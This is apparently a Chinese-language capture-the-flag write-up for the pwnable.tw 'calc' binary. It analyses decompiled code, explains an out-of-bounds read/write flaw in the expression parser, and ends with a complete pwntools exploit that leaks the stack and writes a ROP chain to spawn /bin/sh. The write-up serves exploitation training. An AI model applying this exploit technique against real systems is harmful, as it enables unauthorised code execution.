1 程序分析

i386 架构,开了 Canary 和 NX

1
2
3
4
5
6
7
8
(pwn) secreu@Vanilla:~/code/pwnable/calc$ checksec --file=calc
[*] '/home/secreu/code/pwnable/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

1.1 程序流程

main 函数做了一些设置,关键内容应该在 calc 里面

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}

calc 循环调用 get_expr 接收计算表达式,然后调用 parse_expr 解析表达式,s 应该是用来存储表达式,v1 应该是解析表达式用的临时存储区,同时也存放计算结果 v1[v1[0]]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int calc()
{
_DWORD v1[101]; // [esp+18h] [ebp-5A0h] BYREF
_BYTE s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr(s, 1024) )
break;
init_pool(v1);
if ( parse_expr(s, v1) )
{
printf("%d\n", v1[v1[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

init_pool(v1) 就是将 v1 指向的区域全部初始化为 0
进入 get_expr,作用是从标准输入读取一行字符,只保留数字 0~9 和算术运算符 (+ - * / %),丢弃其它输入。把结果写入 a1 指向的缓冲区,并在末尾补上 \x00,返回实际写入的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl get_expr(int a1, int a2)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

v5 = 0;
while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )
{
if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
{
v2 = v5++;
*(_BYTE *)(a1 + v2) = v4;
}
}
*(_BYTE *)(v5 + a1) = 0;
return v5;
}

读取完表达式后解析表达式 parse_expr,第一个参数 a1 是原始表达式存储区,第二个参数 a2 是临时缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v3; // eax
int v4; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
int v7; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
_BYTE s[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
v4 = a1;
v6 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
{
v7 = i + a1 - v4;
s1 = (char *)malloc(v7 + 1);
memcpy(s1, v4, v7);
s1[v7] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v3 = (*a2)++;
a2[v3 + 1] = v9;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = i + 1 + a1;
if ( s[v6] )
{
switch ( *(_BYTE *)(i + a1) )
{
case '%':
case '*':
case '/':
if ( s[v6] != 43 && s[v6] != 45 )
goto LABEL_14;
s[++v6] = *(_BYTE *)(i + a1);
break;
case '+':
case '-':
LABEL_14:
eval(a2, (char)s[v6]);
s[v6] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, (char)s[v6--]);
break;
}
}
else
{
s[v6] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( v6 >= 0 )
eval(a2, (char)s[v6--]);
return 1;
}

这个函数乍一看有点复杂,其实并不算简单,需要耐下心来跟踪一遍流程
在此之前,我们先看这里频繁出现的 eval,其第一个参数 a1 是临时缓冲区,第二个参数 a2 是运算符。该函数根据运算符做对应的 + - * / % 运算,例如对于加法,a1[0] 是第二个运算数在 a1 的索引,假设 a1[0] = n,则计算 a1[n-1] = a1[n-1] + a1[n],最后 n 也就是 a1[0] 自减 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax

if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= (int)a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}

回到 parse_expr,以 3 + 4 * 5 - 7 为例进行分析,其中的关键变量含义如下:

  • a1:待解析的运算表达式
  • a2:存储运算数的缓冲区,a2[0] 是已存的数量,a2[1] 开始才是运算数
  • s:存储运算符的缓冲区

calc_flow

最后输出计算结果 a2[a2[0]] = 16 这里的 a2 其实就是 calc 中的 v1

1.2 漏洞点

不难发现,evalparse_expr 都没有对运算数和运算符进行数量匹配的检查
evala2[0] 索引第二个运算数,用 a2[0] - 1 索引第一个运算数,如果第一次运行 eval 时,a2[0] = 1,即只读取了一个数,那 eval 就会用已存数量 a2[0] 作为第一个运算数进行计算,造成越界访问

1.2.1 越界读

x 代表一个正整数,输入表达式 + x
进入 eval 时,a2[0] = 1a2[1] = x,进行加法运算得到 a2[0] = 1 + x,退出 evala2[0]--。最终 calc 会输出计算结果 v1[x] 也就是 a2[x]
我们可以利用这一点输入一个很大的 x 造成越界读,从而泄露栈上的内容

  • + x
    • leak a2[x]

1.2.2 越界写

xy 分别代表一个正整数,输入表达式 + x + y
parse_expr 对于连续两个加法运算,会先计算第一个加法,第一次 eval 会使得 a2[0] = x,然后 y 被放进 a2,即 a2[x + 1] = y 并且 a2[0] = x + 1,接着第二次 eval 执行 a2[x] += y,退出前 a2[0]-- 得到 a2[0] = x。最终 calc 会输出计算结果 v1[x] 也就是 a2[x]
我们可以利用这一点造成越界写

  • + x + y
    • a2[x + 1] = y
    • a2[x] += y
    • leak a2[x]

2 漏洞利用

利用思路很简单,我们要往栈上写 ROP 链和字符串 "/bin/sh\x00",故先泄露栈地址,然后写返回地址构造 ROP 执行系统调用 11,即 execve("/bin/sh\x00", 0, 0)

1
_DWORD v1[101]; // [esp+18h] [ebp-5A0h] BYREF

根据 calc 中对 v1 的定义,其到 saved ebp 距离为 0x5A0,每个元素大小为 double word 即 4 字节,所以我们要泄露的 saved ebp 索引为 0x5A0 / 4 = 360

1
2
3
4
5
6
7
8
9
10
11
12
13
offset_to_saved_ebp = int(0x5A0 / 4) # v1/a2 [ebp-0x5A0]
offset_to_saved_eip = offset_to_saved_ebp + 1

io.recv()
io.sendline("+" + str(offset_to_saved_ebp))
saved_ebp = int(io.recvline().strip())

"""
[DEBUG] Sent 0x5 bytes:
b'+360\n'
[DEBUG] Received 0x9 bytes:
b'-4182232\n'
"""

收到一个负数,这是因为 saved ebp 最高字节是 0xff,导致我们计算出的 "/bin/sh\x00" 也是一个负数
因此我们不能使用 a2[x + 1] = y 这样直接赋值的方法,该方法要求 y 必须是正数,所以我们采用 a2[x] += y 这种加上一个差值的方法进行越界写布置 ROP 链

x32 系统调用前 3 个参数分别使用寄存器 ebx、ecx、edx,调用号使用寄存器 eax,找到 3 条 gadgets 完成寄存器设置,最后 int 80 即可
注意 "/bin/sh\x00" 地址如何计算

1
2
3
pwndbg> x/8xw $ebp
0xffffc9d8: 0xffffc9f8 0x08049499 0x080ec200 0x08049434
0xffffc9e8: 0xffffca8c 0x080481b0 0x00000000 0x080ec00c

先调试查看到 saved ebp 值为 0xffffc9f8,对应的地址为 0xffffc9d8,他们之间相差 0x20,所以 saved ebp - 0x20 + 4 是我们 ROP 链开始的地址,然后再根据 ROP 链加上偏移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
pop_eax = 0x0805c34b                # pop eax; ret
pop_ecx_ebx = 0x080701d1 # pop ecx; pop ebx; ret
pop_edx = 0x080701aa # pop edx; ret
int_0x80 = 0x08049a21 # int 0x80

payload = [pop_eax, 0xb] # eax = 0xb (execve syscall number)
payload += [pop_edx, 0] # edx = 0
payload += [pop_ecx_ebx, 0, 0] # ecx = 0, ebx -> "/bin/sh"
payload += [int_0x80] # syscall
binsh_addr = saved_ebp - 0x20 + len(payload) * 4 + 4
log.info("binsh_addr: " + hex(binsh_addr))
payload[6] = binsh_addr
payload += [0x6e69622f, 0x0068732f] # "/bin/sh" in little-endian

最后用 + x + y 的方式布置 payload,我们要利用的是 a2[x] += y,所以先用 + x 泄露 a2[x] 上的内容,计算差值,再加上或者减去这个值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(len(payload)):
io.sendline("+" + str(offset_to_saved_eip + i))
val = int(io.recvline().strip())

diff = payload[i] - val

if diff < 0: # negative difference, can not use "+"
io.sendline("+" + str(offset_to_saved_eip + i) + str(diff))
else:
io.sendline("+" + str(offset_to_saved_eip + i) + "+" + str(diff))
io.recv()
io.sendline()
io.interactive()

3 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

elf = ELF('./calc')

context(os=elf.os, arch=elf.arch, log_level='debug')

io = process(elf.path)
# io = gdb.debug(elf.path, "b main")
# io = remote("chall.pwnable.tw", 10100)

offset_to_saved_ebp = int(0x5A0 / 4) # v1/a2 [ebp-0x5A0]
offset_to_saved_eip = offset_to_saved_ebp + 1

io.recv()
io.sendline("+" + str(offset_to_saved_ebp))
saved_ebp = int(io.recvline().strip())

pop_eax = 0x0805c34b # pop eax; ret
pop_ecx_ebx = 0x080701d1 # pop ecx; pop ebx; ret
pop_edx = 0x080701aa # pop edx; ret
int_0x80 = 0x08049a21 # int 0x80

payload = [pop_eax, 0xb] # eax = 0xb (execve syscall number)
payload += [pop_edx, 0] # edx = 0
payload += [pop_ecx_ebx, 0, 0] # ecx = 0, ebx = &"/bin/sh"
payload += [int_0x80] # syscall
binsh_addr = saved_ebp - 0x20 + len(payload) * 4 + 4
log.info("binsh_addr: " + hex(binsh_addr))
payload[6] = binsh_addr
payload += [0x6e69622f, 0x0068732f] # "/bin/sh" in little-endian

for i in range(len(payload)):
io.sendline("+" + str(offset_to_saved_eip + i))
val = int(io.recvline().strip())

diff = payload[i] - val

if diff < 0: # negative difference, can not use "+"
io.sendline("+" + str(offset_to_saved_eip + i) + str(diff))
else:
io.sendline("+" + str(offset_to_saved_eip + i) + "+" + str(diff))
io.recv()

io.sendline()
io.interactive()